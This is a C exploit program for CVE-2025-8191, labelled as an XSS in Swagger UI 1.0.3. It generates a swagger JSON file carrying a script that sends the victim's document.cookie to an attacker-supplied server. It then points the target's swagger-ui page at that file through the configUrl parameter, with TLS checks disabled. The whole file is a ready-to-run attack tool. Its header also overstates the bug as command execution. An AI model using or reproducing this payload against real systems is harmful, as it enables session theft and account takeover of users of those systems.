/*
* Author : Byte Reaper
* Telegram : @ByteReaper0
* CVE : CVE-2025-8191
* Title : Swagger UI 1.0.3 - Cross-Site Scripting (XSS)
* Description : CVE-2025-8191, a vulnerability in the Swagger UI service due to poor description parameter filtering, leading to command execution on a remote server.
*
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "argparse.h"
#include <curl/curl.h>
int portSel = 0;
int portServerSel = 0;
int selectFile = 0;
const char *targetUrl = NULL;
const char *cookies = NULL;
const char *server = NULL;
const char *yourFile = NULL;
const char *payloadFile = "xss.json";
int targetPort = 0;
int yourPort = 0;
int verbose = 0;
int useCookies = 0;
struct Mem
{
char *buffer;
size_t len;
};
void exitAssembly()
{
__asm__ volatile
(
"mov $231, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}
size_t write_cb(void *ptr,
size_t size, size_t nmemb,
void *userdata)
{
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n");
exitAssembly();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
void createFile(const char *filename,
const char *server)
{
FILE *f = fopen(filename, "w");
if (f == NULL)
{
printf("\e[1;31m[-] Error Create file (xss.json)!\e[0m\n");
exitAssembly();
}
char payloadBuf[2048];
int lenFile = snprintf(
payloadBuf,
sizeof(payloadBuf),
"{\n"
" \"swagger\": \"2.0\",\n"
" \"info\": {\n"
" \"version\": \"1.0.0\",\n"
" \"title\": \"XSS Injection Demo\",\n"
" \"description\": \"<script>fetch('%s/steal?c='+encodeURIComponent(document.cookie))</script>\"\n"
" },\n"
" \"paths\": {}\n"
"}",
server
);
if (lenFile <= 0 || lenFile >= sizeof(payloadBuf))
{
printf("\e[1;31m[-] File payload too large!\e[0m\n");
fclose(f);
exitAssembly();
}
fwrite(payloadBuf,
1,
lenFile,
f);
fclose(f);
printf("\e[1;34m[+] File name: %s\e[0m\n",
filename);
printf("\e[1;34m[+] File created successfully.\e[0m\n");
printf("\e[1;35m============================= [PAYLOAD] =============================\e[0m\n");
printf("\e[1;34m[+] Payload content :\n%s\e[0m\n",
payloadBuf);
printf("\e[1;35m====================================================================\e[0m\n");
}
void sendRequest(const char *baseUrl,
int targetPort,
const char *server,
const char *payloadFile)
{
const char *filename = "xss.json";
createFile(filename, server);
CURL *curl = curl_easy_init();
CURLcode res;
char full[4000];
if (curl == NULL)
{
printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n");
exitAssembly();
}
struct Mem server_Rsponse =
{
NULL,
0
};
server_Rsponse.buffer = NULL ;
server_Rsponse.len = 0;
if (curl)
{
if (portSel)
{
int len1 = snprintf(full,
sizeof(full),
"%s:%d/swagger-ui/index.html?configUrl=%s/%s",
baseUrl,
targetPort,
server,
payloadFile);
if (len1 < 0 || len1 >= (int)sizeof(full))
{
printf("\e[1;31m[-] URL is Long !\e[0m\n");
printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len1);
exitAssembly();
}
}
if (portServerSel)
{
int len2 = snprintf(full,
sizeof(full),
"%s/swagger-ui/index.html?configUrl=%s:%d/%s",
baseUrl,
server,
yourPort,
payloadFile);
if (len2 < 0 || len2 >= (int)sizeof(full))
{
printf("\e[1;31m[-] URL is Long !\e[0m\n");
printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len2);
exitAssembly();
}
}
if (selectFile)
{
int len3 = snprintf(full,
sizeof(full),
"%s:%d/swagger-ui/index.html?configUrl=%s/%s",
baseUrl,
targetPort,
server,
yourFile);
if (len3 < 0 || len3 >= (int)sizeof(full))
{
printf("\e[1;31m[-] URL is Long !\e[0m\n");
printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len3);
exitAssembly();
}
}
else
{
int len4 = snprintf(full,
sizeof(full),
"%s:%d/swagger-ui/index.html?configUrl=%s/%s",
baseUrl,
targetPort,
server,
payloadFile);
if (len4 < 0 || len4 >= (int)sizeof(full))
{
printf("\e[1;31m[-] URL is Long !\e[0m\n");
printf("\e[1;31m[-] FULL URL Len : %d\e[0m\n", len4);
exitAssembly();
}
}
curl_easy_setopt(curl,
CURLOPT_URL,
full);
if (useCookies)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
if (verbose)
{
printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&server_Rsponse);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers,
"Accept-Language: en-US,en");
headers = curl_slist_append(headers,
"Connection: keep-alive");
char ref[500];
snprintf(ref , sizeof(ref), "Referer: %s",
server);
headers = curl_slist_append(headers,
ref);
curl_easy_setopt(curl,
CURLOPT_HTTPHEADER,
headers);
res = curl_easy_perform(curl);
curl_slist_free_all(headers);
if (res == CURLE_OK)
{
double timeD;
double downloadTime;
long httpCode = 0;
long size;
curl_off_t content_length;
curl_off_t connectTime;
curl_easy_getinfo(curl,
CURLINFO_APPCONNECT_TIME,
&connectTime);
curl_easy_getinfo(curl,
CURLINFO_SIZE_DOWNLOAD_T,
&content_length);
curl_easy_getinfo(curl,
CURLINFO_HEADER_SIZE,
&size);
printf("\e[1;36m[+] Time: %" CURL_FORMAT_CURL_OFF_T ".%06ld\e[0m\n", connectTime / 1000000,
(long)(connectTime % 1000000));
printf("\e[1;36m[+] Size: %.0f\n",
connectTime);
printf("\e[1;36m[+] Header size: %ld bytes\e[0m\n",
size);
printf("[+] Download size: %" CURL_FORMAT_CURL_OFF_T "\n", content_length);
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&httpCode);
curl_easy_getinfo(curl,
CURLINFO_TOTAL_TIME,
&timeD);
printf("\e[1;36m[+] Request sent successfully\e[0m\n");
printf("\e[1;34m[+] Delay Time Response : %f\e[0m\n",
timeD);
printf("\e[1;37m[+] Input Url : %s\e[0m\n",
baseUrl);
if (portSel)
{
printf("\e[1;33m[+] Target Port Server : %d\e[0m\n", targetPort);
}
if (portServerSel)
{
printf("\e[1;33m[+] Your Port Server : %d\e[0m\n", yourPort);
}
printf("\e[1;33m[+] Your Server URL : %s\e[0m\n", server);
printf("\e[1;37m[+] Full Url : %s\e[0m\n",
full);
if (httpCode >= 200 && httpCode < 300)
{
printf("\e[1;36m[+] Positive Http Code (200 < 300) : %ld\e[0m\n",httpCode);
const char *foundKey[] =
{
"id=",
"path",
"host",
"alert",
"error",
};
printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
printf("%s\n", server_Rsponse.buffer);
printf("\e[1;35m=============================================================\e[0m\n");
int numberKey = sizeof(foundKey) /sizeof(foundKey[0]);
int notFound = 0;
for (int k = 0; k < numberKey; k++)
{
if (strstr(server_Rsponse.buffer, foundKey[k]) != NULL)
{
printf("\e[1;34m[+] Found Word In Response : %s\n", foundKey[k]);
printf("\e[1;34m[+] The server suffers from the CVE-2025-8191 vulnerability.\e[0m\n");
printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
printf("%s\n", server_Rsponse.buffer);
printf("\e[1;35m=============================================================\e[0m\n");
}
else
{
if (verbose)
{
printf("\e[1;31m[-] Not Found Word : %s\n",foundKey[k]);
}
notFound = 1;
}
}
if (notFound)
{
printf("\e[1;31m[-] No suspicious words were found in the server's reply.\e[0m\n");
}
}
else
{
printf("\e[1;31m[-] HTTP Code Not Range Positive (200 < 300) : %ld\e[0m\n", httpCode);
if (verbose)
{
printf("\e[1;35m[+] Response Server : =======================================\e[0m\n");
printf("%s\n", server_Rsponse.buffer);
printf("\e[1;35m=============================================================\e[0m\n");
}
}
}
else
{
printf("\e[1;31m[-] Error Send Request\e[0m\n");
printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res));
printf("\e[1;31m[-] Please Check Your Connection !\e[0m\n");
exitAssembly();
}
}
if (server_Rsponse.buffer)
{
free(server_Rsponse.buffer);
server_Rsponse.buffer = NULL;
server_Rsponse.len = 0;
}
curl_easy_cleanup(curl);
}
int main(int argc, const char **argv)
{
printf(
"\e[1;31m"
"▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▗ \n"
"▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▙▌▜ ▙▌▜ \n"
"▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▙▌▟▖▄▌▟▖ \n"
);
printf("\e[1;37m [ Byte Reaper ]\n\e[0m");
printf("\e[1;37m [ Cross-Site Scripting ]\n\e[0m");
printf("\e[1;31m---------------------------------------------------------------------------------------\e[0m\n");
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('u',
"url",
&targetUrl,
"Target Url (Base URL)"),
OPT_STRING('c',
"cookies",
&cookies,
"cookies File"),
OPT_STRING('s',
"server",
&server,
"Your Server URL"),
OPT_STRING('f',
"file",
&yourFile,
"Name File (Json File Payload)"),
OPT_INTEGER('p',
"port",
&targetPort,
"Target Port Server"),
OPT_INTEGER('b',
"portS",
&yourPort,
"Enter Your Port Server"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (!targetUrl && !server)
{
printf("\e[1;31m[-] Please Enter Your Url !\e[0m\n");
printf("\e[1;31m[-] Ex : ./exploit -u http://URL -s http://YOUR_SEVER \e[0m\n");
printf("\e[1;31m[-] Exit Syscall\e[0m\n");
exitAssembly();
}
if (cookies)
{
useCookies = 1;
}
if (verbose)
{
verbose = 1;
}
if (targetPort)
{
portSel = 1;
}
if (yourPort)
{
portServerSel = 1;
}
if (yourFile)
{
selectFile = 1;
}
sendRequest(targetUrl,
targetPort,
server,
selectFile ? yourFile : payloadFile);
return 0;
}